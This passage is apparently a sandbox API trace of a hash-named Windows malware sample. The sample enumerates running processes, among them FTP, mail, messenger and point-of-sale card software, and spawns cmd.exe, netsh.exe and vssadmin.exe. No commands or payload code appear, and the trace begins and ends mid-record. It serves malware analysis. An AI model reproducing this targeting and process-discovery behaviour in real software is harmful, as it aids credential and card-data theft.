lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0054.698] GetLastError () returned 0x12 [0054.698] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0054.699] GetLastError () returned 0x12 [0054.699] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0054.700] GetLastError () returned 0x12 [0054.700] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0054.700] GetLastError () returned 0x12 [0054.700] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0054.701] GetLastError () returned 0x12 [0054.701] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.702] GetLastError () returned 0x12 [0054.702] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.703] GetLastError () returned 0x12 [0054.703] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.703] GetLastError () returned 0x12 [0054.703] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.704] GetLastError () returned 0x12 [0054.704] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.705] GetLastError () returned 0x12 [0054.705] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.705] GetLastError () returned 0x12 [0054.706] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.706] GetLastError () returned 0x12 [0054.706] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.787] GetLastError () returned 0x12 [0054.787] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.788] GetLastError () returned 0x12 [0054.788] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.789] GetLastError () returned 0x12 [0054.789] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0054.790] GetLastError () returned 0x12 [0054.790] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.790] GetLastError () returned 0x12 [0054.790] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.791] GetLastError () returned 0x12 [0054.791] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.792] GetLastError () returned 0x12 [0054.793] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.794] GetLastError () returned 0x12 [0054.794] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.795] GetLastError () returned 0x12 [0054.795] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.796] GetLastError () returned 0x12 [0054.796] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.797] GetLastError () returned 0x12 [0054.797] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.798] GetLastError () returned 0x12 [0054.798] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.799] GetLastError () returned 0x12 [0054.799] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0054.800] GetLastError () returned 0x12 [0054.800] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0054.801] GetLastError () returned 0x12 [0054.801] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0054.802] GetLastError () returned 0x12 [0054.802] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0054.803] GetLastError () returned 0x12 [0054.803] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0054.804] GetLastError () returned 0x12 [0054.804] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0054.805] GetLastError () returned 0x12 [0054.805] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0054.806] GetLastError () returned 0x12 [0054.806] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0054.807] GetLastError () returned 0x12 [0054.807] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0054.808] GetLastError () returned 0x12 [0054.808] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0054.809] GetLastError () returned 0x12 [0054.809] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0054.810] GetLastError () returned 0x12 [0054.810] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0054.811] GetLastError () returned 0x12 [0054.811] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0054.812] GetLastError () returned 0x12 [0054.812] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0054.813] GetLastError () returned 0x12 [0054.813] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0054.813] GetLastError () returned 0x12 [0054.814] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0054.814] GetLastError () returned 0x12 [0054.814] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0054.815] GetLastError () returned 0x12 [0054.815] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0054.817] GetLastError () returned 0x12 [0054.817] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0054.818] GetLastError () returned 0x12 [0054.818] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0054.819] GetLastError () returned 0x12 [0054.819] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0054.820] GetLastError () returned 0x12 [0054.820] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0054.820] GetLastError () returned 0x12 [0054.821] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0054.821] GetLastError () returned 0x12 [0054.821] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0054.822] GetLastError () returned 0x12 [0054.822] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.823] GetLastError () returned 0x12 [0054.823] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.824] GetLastError () returned 0x12 [0054.824] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0054.825] GetLastError () returned 0x12 [0054.825] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0054.826] GetLastError () returned 0x12 [0054.826] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.826] GetLastError () returned 0x12 [0054.826] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.827] GetLastError () returned 0x12 [0054.827] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.828] GetLastError () returned 0x12 [0054.828] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.829] GetLastError () returned 0x12 [0054.829] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0054.830] GetLastError () returned 0x12 [0054.830] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.830] GetLastError () returned 0x12 [0054.830] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.831] GetLastError () returned 0x12 [0054.831] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.972] GetLastError () returned 0x12 [0054.972] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.973] CloseHandle (hObject=0x180) returned 1 [0054.973] Sleep (dwMilliseconds=0x1f4) [0055.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x174 [0055.698] Process32FirstW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.698] GetLastError () returned 0x12 [0055.698] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.699] GetLastError () returned 0x12 [0055.699] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.700] GetLastError () returned 0x12 [0055.700] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.700] GetLastError () returned 0x12 [0055.701] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.701] GetLastError () returned 0x12 [0055.701] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.702] GetLastError () returned 0x12 [0055.702] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.703] GetLastError () returned 0x12 [0055.703] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.703] GetLastError () returned 0x12 [0055.703] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.704] GetLastError () returned 0x12 [0055.704] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.705] GetLastError () returned 0x12 [0055.705] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.706] GetLastError () returned 0x12 [0055.706] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.706] GetLastError () returned 0x12 [0055.707] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.707] GetLastError () returned 0x12 [0055.707] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.708] GetLastError () returned 0x12 [0055.708] Process32NextW (in: hSnapshot=0x174, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, 